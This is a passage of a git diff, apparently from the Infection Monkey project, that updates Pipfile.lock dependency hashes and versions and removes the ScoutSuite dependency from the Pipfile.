"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==10.0" - }, "hyperlink": { "hashes": [ "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", @@ -316,14 +256,6 @@ "markers": "python_version < '3.8'", "version": "==4.10.1" }, - "importlib-resources": { - "hashes": [ - "sha256:33a95faed5fc19b4bc16b29a6eeae248a3fe69dd55d4d229d2b480e23eeaad45", - "sha256:d756e2f85dd4de2ba89be0b21dba2a3bbec2e871a42a3a16719258a11f87506b" - ], - "markers": "python_version < '3.9'", - "version": "==5.4.0" - }, "incremental": { "hashes": [ "sha256:02f5de5aff48f6b9f665d99d48bfc7ec03b6e3943210de7cfc88856d755d6f57", @@ -347,46 +279,6 @@ "markers": "python_version >= '3.6'", "version": "==2.0.1" }, - "jaraco.classes": { - "hashes": [ - "sha256:22ac35313cf4b145bf7b217cc51be2d98a3d2db1c8558a30ca259d9f0b9c0b7d", - "sha256:ed54b728af1937dc16b7236fbaf34ba561ba1ace572b03fffa5486ed363ecf34" - ], - "markers": "python_version >= '3.6'", - "version": "==3.2.1" - }, - "jaraco.collections": { - "hashes": [ - "sha256:b04f00bd4b3c4fc4ba5fe1baf8042c0efd192b13e386830ea23fff77bb69dc88", - "sha256:ef7c308d6d7cadfb16b32c7e414d628151ab02b57a5702b9d9a293148c035e70" - ], - "markers": "python_version >= '3.7'", - "version": "==3.5.1" - }, - "jaraco.context": { - "hashes": [ - "sha256:17b909da2fb37ad237ca7ff9523977f8665a47a25b90aec6a99a3e0959c86141", - "sha256:f0d4d82ffbbbff680384eba48a32a3167f12a91a30a7db56fd97b87e73a87241" - ], - "markers": "python_version >= '3.6'", - "version": "==4.1.1" - }, - "jaraco.functools": { - "hashes": [ - "sha256:141f95c490a18eb8aab86caf7a2728f02f604988a26dc36652e3d9fa9e4c49fa", - "sha256:31e0e93d1027592b7b0bec6ad468db850338981ebee76ba5e212e235f4c7dda0" - ], - "markers": "python_version >= '3.7'", - "version": "==3.5.0" - }, - "jaraco.text": { - "hashes": [ - "sha256:17b43aa0bd46e97c368ccd8a4c8fef2719ca121b6d39ce4be9d9e0143832479a", - "sha256:a7f9cc1b44a5f3096a216cbd130b650c7a6b2c9f8005b000ae97f329239a7c00" - ], - "markers": "python_version >= '3.6'", - "version": "==3.7.0" - }, "jinja2": { "hashes": [ "sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8", @@ -395,14 +287,6 @@ "markers": "python_version >= '3.6'", "version": "==3.0.3" }, - "jmespath": { - "hashes": [ - "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", - "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" - ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.10.0" - }, "ldap3": { "hashes": [ "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", @@ -514,19 +398,11 @@ }, "minikerberos": { "hashes": [ - "sha256:eba89d5c649241a3367839ebd1c0333b9a9e4fe514746e246a6a1f2cb7bde26e", - "sha256:f556a6015904147c3302e9038b49f766c975df6aeb1725027cd7fc68ba993864" + "sha256:a1596916c93910910e65ab43e2b0e770c9af0d2da77505c089ed8bc3ee40e872", + "sha256:ca83d44f0a6c93cc2298df435c5173e99262d6d234b8055c7c08b9062c2c7c93" ], "markers": "python_version >= '3.6'", - "version": "==0.2.16" - }, - "more-itertools": { - "hashes": [ - "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b", - "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064" - ], - "markers": "python_version >= '3.5'", - "version": "==8.12.0" + "version": "==0.2.17" }, "msldap": { "hashes": [ @@ -536,13 +412,6 @@ "markers": "python_version >= '3.7'", "version": "==0.3.30" }, - "netaddr": { - "hashes": [ - "sha256:9666d0232c32d2656e5e5f8d735f58fd6c7457ce52fc21c98d45f2af78f990ac", - "sha256:d6cc57c7a07b1d9d2e917aa8b36ae8ce61c35ba3fcd1b83ca31c5a0ee2b5a243" - ], - "version": "==0.8.0" - }, "netifaces": { "hashes": [ "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", @@ -608,28 +477,20 @@ ], "version": "==1.7.4" }, - "policyuniverse": { + "pefile": { "hashes": [ - "sha256:116b808554d7ea75efc97b4cb904085546db45934ef315175cb4755c7a4489de", - "sha256:7440ac520bb791e0318e3d99f9b0e76b7b2b604e7160f1d8341ded060f9ff1cd" + "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" ], - "version": "==1.4.0.20220110" - }, - "portend": { - "hashes": [ - "sha256:239e3116045ea823f6df87d6168107ad75ccc0590e37242af0cc1e98c5d224e4", - "sha256:9e735cee3a5c1961f09e3f3ba6dc498198c2d70b473d98d0d1504b8d1e7a3d61" - ], - "markers": "python_version >= '3.7'", - "version": "==3.1.0" + "markers": "sys_platform == 'win32'", + "version": "==2021.9.3" }, "prompt-toolkit": { "hashes": [ - "sha256:4bcf119be2200c17ed0d518872ef922f1de336eb6d1ddbd1e089ceb6447d97c6", - "sha256:a51d41a6a45fd9def54365bca8f0402c8f182f2b6f7e29c74d55faeb9fb38ac4" + "sha256:cb7dae7d2c59188c85a1d6c944fad19aded6a26bd9c8ae115a4e1c20eb90b713", + "sha256:f2b6a8067a4fb959d3677d1ed764cc4e63e0f6f565b9a4fc7edc2b18bf80217b" ], "markers": "python_full_version >= '3.6.2'", - "version": "==3.0.26" + "version": "==3.0.27" }, "psutil": { "hashes": [ @@ -715,39 +576,36 @@ }, "pycryptodomex": { "hashes": [ - "sha256:00eb17ee2b8eb9d84df37d54bc7070ff45903b90535558c2e0ddb5e6957521d3", - "sha256:05b36726ce5521ce0feb25ea11e866261089edd7fad44df4ced9f7f45a9d4c3b", - "sha256:110b319189915a66d14df13d233a2dbb54f00df21f3167de1cad340bf4dd88bd", - "sha256:15e6f5b4a81109eb8e9a02c954fe119f6c57836fd55a9891ba703ddfbd690587", - "sha256:1b07a13ed73d00a97af7c3733b807007d2249cd236a33955a7dec1939c232b28", - "sha256:2040a22a30780da743835c7c71307558688065d6c22e18ac3e44082dc3323d8f", - "sha256:264a701bb6e8aedf4b71bcb9eb83b93020041e96112ccfe873a16964d41ade74", - "sha256:2d8bda8f949b79b78b293706aa7fc1e5c171c62661252bfdd5d12c70acd03282", - "sha256:2e2da1eabb426cbeb4922c981bb843f36427f8365ef7e46bc581a55d7ea67643", - "sha256:3ad75e24a0e25396901273a9a2aaba0286fa74703e5b61731942f6914a1e1cbe", - "sha256:3c06abf17c68cf87c4e81e1745f0afbe4427413684a122a9d044a8a1d3c6d959", - "sha256:3c195eecd43e48d0a06267df6945958f5f566eef160a5b01c519434cfa6d368a", - "sha256:3c9ee5e77dd9cb19fe09765b6c02e3784cdbd2e5ecfbc67c8e9628073f79b981", - "sha256:484ad0f50fd49bec4d2b8c0e5a3ad70e278ed3390bfd5c4515dc896f31b45d6c", - "sha256:4b046c3d50fe4bb57386567ff47a588b1bbe1ddf3d9e2b23aede09fa97511f5f", - "sha256:50684f16b12f1dcca8018d2711fb87044c74038ce9322d36f6ee9d09fcda7e6f", - "sha256:6940b6730bab7128c993b562abf018560aa5b861da92854cf050b5f96d4713df", - "sha256:76fe9ad943480507952cd7c96c20f6c8af78145f944cb66bbba63f2872d9988e", - "sha256:7bcc5d3904abe5cfac5acc67679e330b0402473e839f94b59e13efdc2c2945d5", - "sha256:8310782ac84fa1df93703081af6791549451a380ad88670c2484f75e26c6485f", - "sha256:88eb239d6af71ba2098a4cfea516add37881d55b76b38d9e297f77a65bb9a8cf", - "sha256:9afea78c31f3714b06673d2c5b8874f31c19c03258645733546a320da2e6df23", - "sha256:a11884621c2a5fe241ccf2adf34e4fdde162e91fbc3207f0a0db122ad2b7a061", - "sha256:b0277a201196b7825b21a405e0a70167f277b8d5666031e65c9af7a715cb0833", - "sha256:b5ff95687c4008f76091849e5333692e6a54a93399cd8fda7e1ba523734136f4", - "sha256:c565b89fb91ecb60273b2dcedb5149b48a1ec4227cef8c63fd77ec0f33eaf75a", - "sha256:d689b368ca8b3ec1e60cc609eae14d4e352d10fe807ca9906f77f0712ab05a37", - "sha256:f3bb1e722ad57de1999c8db54b58507b47771de4a294115c00f785f1d5913ec1", - "sha256:fbff384c2080106b3f5f7cfa96728f02e627be7f7cd1657d9cf63300a16d0864", - "sha256:fd2657134b633523db551b96b095387083a459d77e93b9cc888c9f13edb7a6f6" + "sha256:1ca8e1b4c62038bb2da55451385246f51f412c5f5eabd64812c01766a5989b4a", + "sha256:298c00ea41a81a491d5b244d295d18369e5aac4b61b77b2de5b249ca61cd6659", + "sha256:2aa887683eee493e015545bd69d3d21ac8d5ad582674ec98f4af84511e353e45", + "sha256:2ce76ed0081fd6ac8c74edc75b9d14eca2064173af79843c24fa62573263c1f2", + "sha256:3da13c2535b7aea94cc2a6d1b1b37746814c74b6e80790daddd55ca5c120a489", + "sha256:406ec8cfe0c098fadb18d597dc2ee6de4428d640c0ccafa453f3d9b2e58d29e2", + "sha256:4d0db8df9ffae36f416897ad184608d9d7a8c2b46c4612c6bc759b26c073f750", + "sha256:530756d2faa40af4c1f74123e1d889bd07feae45bac2fd32f259a35f7aa74151", + "sha256:77931df40bb5ce5e13f4de2bfc982b2ddc0198971fbd947776c8bb5050896eb2", + "sha256:797a36bd1f69df9e2798e33edb4bd04e5a30478efc08f9428c087f17f65a7045", + "sha256:8085bd0ad2034352eee4d4f3e2da985c2749cb7344b939f4d95ead38c2520859", + "sha256:8536bc08d130cae6dcba1ea689f2913dfd332d06113904d171f2f56da6228e89", + "sha256:a4d412eba5679ede84b41dbe48b1bed8f33131ab9db06c238a235334733acc5e", + "sha256:aebecde2adc4a6847094d3bd6a8a9538ef3438a5ea84ac1983fcb167db614461", + "sha256:b276cc4deb4a80f9dfd47a41ebb464b1fe91efd8b1b8620cf5ccf8b824b850d6", + "sha256:b5a185ae79f899b01ca49f365bdf15a45d78d9856f09b0de1a41b92afce1a07f", + "sha256:c4d8977ccda886d88dc3ca789de2f1adc714df912ff3934b3d0a3f3d777deafb", + "sha256:c5dd3ffa663c982d7f1be9eb494a8924f6d40e2e2f7d1d27384cfab1b2ac0662", + "sha256:ca88f2f7020002638276439a01ffbb0355634907d1aa5ca91f3dc0c2e44e8f3b", + "sha256:d2cce1c82a7845d7e2e8a0956c6b7ed3f1661c9acf18eb120fc71e098ab5c6fe", + "sha256:d709572d64825d8d59ea112e11cc7faf6007f294e9951324b7574af4251e4de8", + "sha256:da8db8374295fb532b4b0c467e66800ef17d100e4d5faa2bbbd6df35502da125", + "sha256:e36c7e3b5382cd5669cf199c4a04a0279a43b2a3bdd77627e9b89778ac9ec08c", + "sha256:e95a4a6c54d27a84a4624d2af8bb9ee178111604653194ca6880c98dcad92f48", + "sha256:ee835def05622e0c8b1435a906491760a43d0c462f065ec9143ec4b8d79f8bff", + "sha256:f75009715dcf4a3d680c2338ab19dac5498f8121173a929872950f4fb3a48fbf", + "sha256:f8524b8bc89470cec7ac51734907818d3620fb1637f8f8b542d650ebec42a126" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==3.14.0" + "version": "==3.14.1" }, "pyinstaller": { "hashes": [ @@ -871,20 +729,30 @@ "markers": "python_version >= '3.6'", "version": "==0.3.1" }, - "python-dateutil": { + "pywin32": { "hashes": [ - "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", - "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" + "sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559", + "sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51", + "sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b", + "sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb", + "sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba", + "sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34", + "sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352", + "sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9", + "sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e", + "sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca", + "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", + "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==2.8.0" + "version": "==303" }, - "pytz": { + "pywin32-ctypes": { "hashes": [ - "sha256:3672058bc3453457b622aab7a1c3bfd5ab0bdae451512f6cf25f64ed37f5b87c", - "sha256:acad2d8b20a1af07d4e4c9d2e9285c5ed9104354062f275f3fcd88dcef4f1326" + "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", + "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" ], - "version": "==2021.3" + "markers": "sys_platform == 'win32'", + "version": "==0.2.0" }, "requests": { "hashes": [ @@ -894,18 +762,6 @@ "index": "pypi", "version": "==2.27.1" }, - "s3transfer": { - "hashes": [ - "sha256:25c140f5c66aa79e1ac60be50dcd45ddc59e83895f062a3aab263b870102911f", - "sha256:69d264d3e760e569b78aaa0f22c97e955891cd22e32b10c51f784eeda4d9d10a" - ], - "markers": "python_version >= '3.6'", - "version": "==0.5.1" - }, - "scoutsuite": { - "git": "git://github.com/guardicode/ScoutSuite", - "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" - }, "service-identity": { "hashes": [ "sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34", @@ -929,20 +785,6 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.16.0" }, - "sqlitedict": { - "hashes": [ - "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" - ], - "version": "==1.7.0" - }, - "tempora": { - "hashes": [ - "sha256:cba0f197a64883bf3e73657efbc0324d5bf17179e7769b1385b4d75d26cd9127", - "sha256:fbca6a229af666ea4ea8b2f9f80ac9a074f7cf53a97987855b1d15b6e93fd63b" - ], - "markers": "python_version >= '3.7'", - "version": "==5.0.1" - }, "tqdm": { "hashes": [ "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", @@ -956,11 +798,29 @@ "tls" ], "hashes": [ - "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b", - "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006" + "sha256:b7971ec9805b0f80e1dcb1a3721d7bfad636d5f909de687430ce373979d67b61", + "sha256:ccd638110d9ccfdc003042aa3e1b6d6af272eaca45d36e083359560549e3e848" ], "markers": "python_full_version >= '3.6.7'", - "version": "==21.7.0" + "version": "==22.1.0" + }, + "twisted-iocpsupport": { + "hashes": [ + "sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41", + "sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d", + "sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9", + "sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf", + "sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323", + "sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32", + "sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4", + "sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" }, "typing-extensions": { "hashes": [ @@ -987,11 +847,11 @@ }, "werkzeug": { "hashes": [ - "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", - "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" + "sha256:1421ebfc7648a39a5c58c601b154165d05cf47a3cd0ccb70857cbdacf6c8f2b8", + "sha256:b863f8ff057c522164b6067c9e28b041161b4be5ba4d0daceeaa50a163822d3c" ], "markers": "python_version >= '3.6'", - "version": "==2.0.2" + "version": "==2.0.3" }, "winacl": { "hashes": [ @@ -1021,16 +881,10 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, - "zc.lockfile": { - "hashes": [ - "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", - "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" - ], - "version": "==2.0" - }, "zipp": { "hashes": [ "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", From f8ad23372970db79bbb5c0a6bb37aecba9475204 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 9 Feb 2022 14:32:19 +0530 Subject: [PATCH 0343/1110] Island: Remove ScoutSuite from dependencies --- monkey/monkey_island/Pipfile | 1 - monkey/monkey_island/Pipfile.lock | 989 +++++++++++++----------------- 2 files changed, 427 insertions(+), 563 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index cd6b3c612..fc02c2f75 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -22,7 +22,6 @@ Flask-PyMongo = ">=2.3.0" Flask-RESTful = ">=0.3.8" Flask = ">=1.1" Werkzeug = ">=1.0.1" -ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} pyaescrypt = "*" python-dateutil = "*" cffi = "*" # Without explicit install: ModuleNotFoundError: No module named '_cffi_backend' diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index e0dd12e35..4733e8fb9 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "8345ad78df24e68e7934b863857570fdd2f80cbcc2e9525ac13a7660c40720c7" + "sha256": "a3718be25739d7397df87a723009b2ccb3fd67927cb5eb335c3937b4e60cdd60" }, "pipfile-spec": 6, "requires": { @@ -30,27 +30,23 @@ ], "version": "==9.0.1" }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" - }, "attrs": { "hashes": [ - "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", - "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" + "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", + "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==21.2.0" + "version": "==21.4.0" }, "bcrypt": { "hashes": [ + "sha256:56e5da069a76470679f312a7d3d23deb3ac4519991a0361abc11da837087b61d", "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a0584a92329210fcd75eb8a3250c5a941633f8bfaf2a18f81009b097732839b7", "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:b589229207630484aefe5899122fb938a5b017b0f4349f769b8c13e78d99a8fd", "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" @@ -139,35 +135,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:e019de665e2bcf9c2b64e2e5aa025fa991da8720daa3c1138cadd2fd1856aed0", - "sha256:f7af805c321bfa1ce6714c51f254e0d5bb5e5834039bc17db7ebe3a4cec9492b" + "sha256:2842d8f5e82a1f6aa437380934d5e1cd4fcf2003b06fed6940769c164a480a45", + "sha256:98398a9d69ee80548c762ba991a4728bfc3836768ed226b3945908d1a688371c" ], "markers": "python_version >= '3'", - "version": "==2.0.7" - }, - "cheroot": { - "hashes": [ - "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", - "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==8.5.2" - }, - "cherrypy": { - "hashes": [ - "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", - "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" - ], - "markers": "python_version >= '3.5'", - "version": "==18.6.1" - }, - "cherrypy-cors": { - "hashes": [ - "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", - "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" - ], - "markers": "python_version >= '2.7'", - "version": "==1.6" + "version": "==2.0.11" }, "click": { "hashes": [ @@ -182,50 +154,42 @@ "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" ], - "markers": "sys_platform == 'win32' and platform_system == 'Windows'", + "markers": "platform_system == 'Windows'", "version": "==0.4.4" }, - "coloredlogs": { - "hashes": [ - "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", - "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" - ], - "version": "==10.0" - }, "cryptography": { "hashes": [ - "sha256:2049f8b87f449fc6190350de443ee0c1dd631f2ce4fa99efad2984de81031681", - "sha256:231c4a69b11f6af79c1495a0e5a85909686ea8db946935224b7825cfb53827ed", - "sha256:24469d9d33217ffd0ce4582dfcf2a76671af115663a95328f63c99ec7ece61a4", - "sha256:2deab5ec05d83ddcf9b0916319674d3dae88b0e7ee18f8962642d3cde0496568", - "sha256:494106e9cd945c2cadfce5374fa44c94cfadf01d4566a3b13bb487d2e6c7959e", - "sha256:4c702855cd3174666ef0d2d13dcc879090aa9c6c38f5578896407a7028f75b9f", - "sha256:52f769ecb4ef39865719aedc67b4b7eae167bafa48dbc2a26dd36fa56460507f", - "sha256:5c49c9e8fb26a567a2b3fa0343c89f5d325447956cc2fc7231c943b29a973712", - "sha256:684993ff6f67000a56454b41bdc7e015429732d65a52d06385b6e9de6181c71e", - "sha256:6fbbbb8aab4053fa018984bb0e95a16faeb051dd8cca15add2a27e267ba02b58", - "sha256:8982c19bb90a4fa2aad3d635c6d71814e38b643649b4000a8419f8691f20ac44", - "sha256:9511416e85e449fe1de73f7f99b21b3aa04fba4c4d335d30c486ba3756e3a2a6", - "sha256:97199a13b772e74cdcdb03760c32109c808aff7cd49c29e9cf4b7754bb725d1d", - "sha256:a776bae1629c8d7198396fd93ec0265f8dd2341c553dc32b976168aaf0e6a636", - "sha256:aa94d617a4cd4cdf4af9b5af65100c036bce22280ebb15d8b5262e8273ebc6ba", - "sha256:b17d83b3d1610e571fedac21b2eb36b816654d6f7496004d6a0d32f99d1d8120", - "sha256:d73e3a96c38173e0aa5646c31bf8473bc3564837977dd480f5cbeacf1d7ef3a3", - "sha256:d91bc9f535599bed58f6d2e21a2724cb0c3895bf41c6403fe881391d29096f1d", - "sha256:ef216d13ac8d24d9cd851776662f75f8d29c9f2d05cdcc2d34a18d32463a9b0b", - "sha256:f6a5a85beb33e57998dc605b9dbe7deaa806385fdf5c4810fb849fcd04640c81", - "sha256:f92556f94e476c1b616e6daec5f7ddded2c082efa7cee7f31c7aeda615906ed8" + "sha256:0a817b961b46894c5ca8a66b599c745b9a3d9f822725221f0e0fe49dc043a3a3", + "sha256:2d87cdcb378d3cfed944dac30596da1968f88fb96d7fc34fdae30a99054b2e31", + "sha256:30ee1eb3ebe1644d1c3f183d115a8c04e4e603ed6ce8e394ed39eea4a98469ac", + "sha256:391432971a66cfaf94b21c24ab465a4cc3e8bf4a939c1ca5c3e3a6e0abebdbcf", + "sha256:39bdf8e70eee6b1c7b289ec6e5d84d49a6bfa11f8b8646b5b3dfe41219153316", + "sha256:4caa4b893d8fad33cf1964d3e51842cd78ba87401ab1d2e44556826df849a8ca", + "sha256:53e5c1dc3d7a953de055d77bef2ff607ceef7a2aac0353b5d630ab67f7423638", + "sha256:596f3cd67e1b950bc372c33f1a28a0692080625592ea6392987dba7f09f17a94", + "sha256:5d59a9d55027a8b88fd9fd2826c4392bd487d74bf628bb9d39beecc62a644c12", + "sha256:6c0c021f35b421ebf5976abf2daacc47e235f8b6082d3396a2fe3ccd537ab173", + "sha256:73bc2d3f2444bcfeac67dd130ff2ea598ea5f20b40e36d19821b4df8c9c5037b", + "sha256:74d6c7e80609c0f4c2434b97b80c7f8fdfaa072ca4baab7e239a15d6d70ed73a", + "sha256:7be0eec337359c155df191d6ae00a5e8bbb63933883f4f5dffc439dac5348c3f", + "sha256:94ae132f0e40fe48f310bba63f477f14a43116f05ddb69d6fa31e93f05848ae2", + "sha256:bb5829d027ff82aa872d76158919045a7c1e91fbf241aec32cb07956e9ebd3c9", + "sha256:ca238ceb7ba0bdf6ce88c1b74a87bffcee5afbfa1e41e173b1ceb095b39add46", + "sha256:ca28641954f767f9822c24e927ad894d45d5a1e501767599647259cbf030b903", + "sha256:e0344c14c9cb89e76eb6a060e67980c9e35b3f36691e15e1b7a9e58a0a6c6dc3", + "sha256:ebc15b1c22e55c4d5566e3ca4db8689470a0ca2babef8e3a9ee057a8b82ce4b1", + "sha256:ec63da4e7e4a5f924b90af42eddf20b698a70e58d86a72d943857c4c6045b3ee" ], "markers": "python_version >= '3.6'", - "version": "==36.0.0" + "version": "==36.0.1" }, "dpath": { "hashes": [ - "sha256:e7813fd8a9dd0d4c7cd4014533ce955eff712bcb2e8189be79bb893890a9db01", - "sha256:ef74321b01479653c812fee69c53922364614d266a8e804d22058c5c02e5674e" + "sha256:5a1ddae52233fbc8ef81b15fb85073a81126bb43698d3f3a1b6aaf561a46cdc0", + "sha256:8c439bb1c3b3222427e9b8812701cd99a0ef3415ddbb7c03a2379f6989a03965" ], "index": "pypi", - "version": "==2.0.5" + "version": "==2.0.6" }, "flask": { "hashes": [ @@ -268,38 +232,46 @@ }, "gevent": { "hashes": [ - "sha256:02d1e8ca227d0ab0b7917fd7e411f9a534475e0a41fb6f434e9264b20155201a", - "sha256:0c7b4763514fec74c9fe6ad10c3de62d8fe7b926d520b1e35eb6887181b954ff", - "sha256:1c9c87b15f792af80edc950a83ab8ef4f3ba3889712211c2c42740ddb57b5492", - "sha256:23077d87d1589ac141c22923fd76853d2cc5b7e3c5e1f1f9cdf6ff23bc9790fc", - "sha256:37a469a99e6000b42dd0b9bbd9d716dbd66cdc6e5738f136f6a266c29b90ee99", - "sha256:3b600145dc0c5b39c6f89c2e91ec6c55eb0dd52dc8148228479ca42cded358e4", - "sha256:3f5ba654bdd3c774079b553fef535ede5b52c7abd224cb235a15da90ae36251b", - "sha256:43e93e1a4738c922a2416baf33f0afb0a20b22d3dba886720bc037cd02a98575", - "sha256:473f918bdf7d2096e391f66bd8ce1e969639aa235e710aaf750a37774bb585bd", - "sha256:4c94d27be9f0439b28eb8bd0f879e6142918c62092fda7fb96b6d06f01886b94", - "sha256:55ede95f41b74e7506fab293ad04cc7fc2b6f662b42281e9f2d668ad3817b574", - "sha256:6cad37a55e904879beef2a7e7c57c57d62fde2331fef1bec7f2b2a7ef14da6a2", - "sha256:72d4c2a8e65bbc702db76456841c7ddd6de2d9ab544a24aa74ad9c2b6411a269", - "sha256:75c29ed5148c916021d39d2fac90ccc0e19adf854626a34eaee012aa6b1fcb67", - 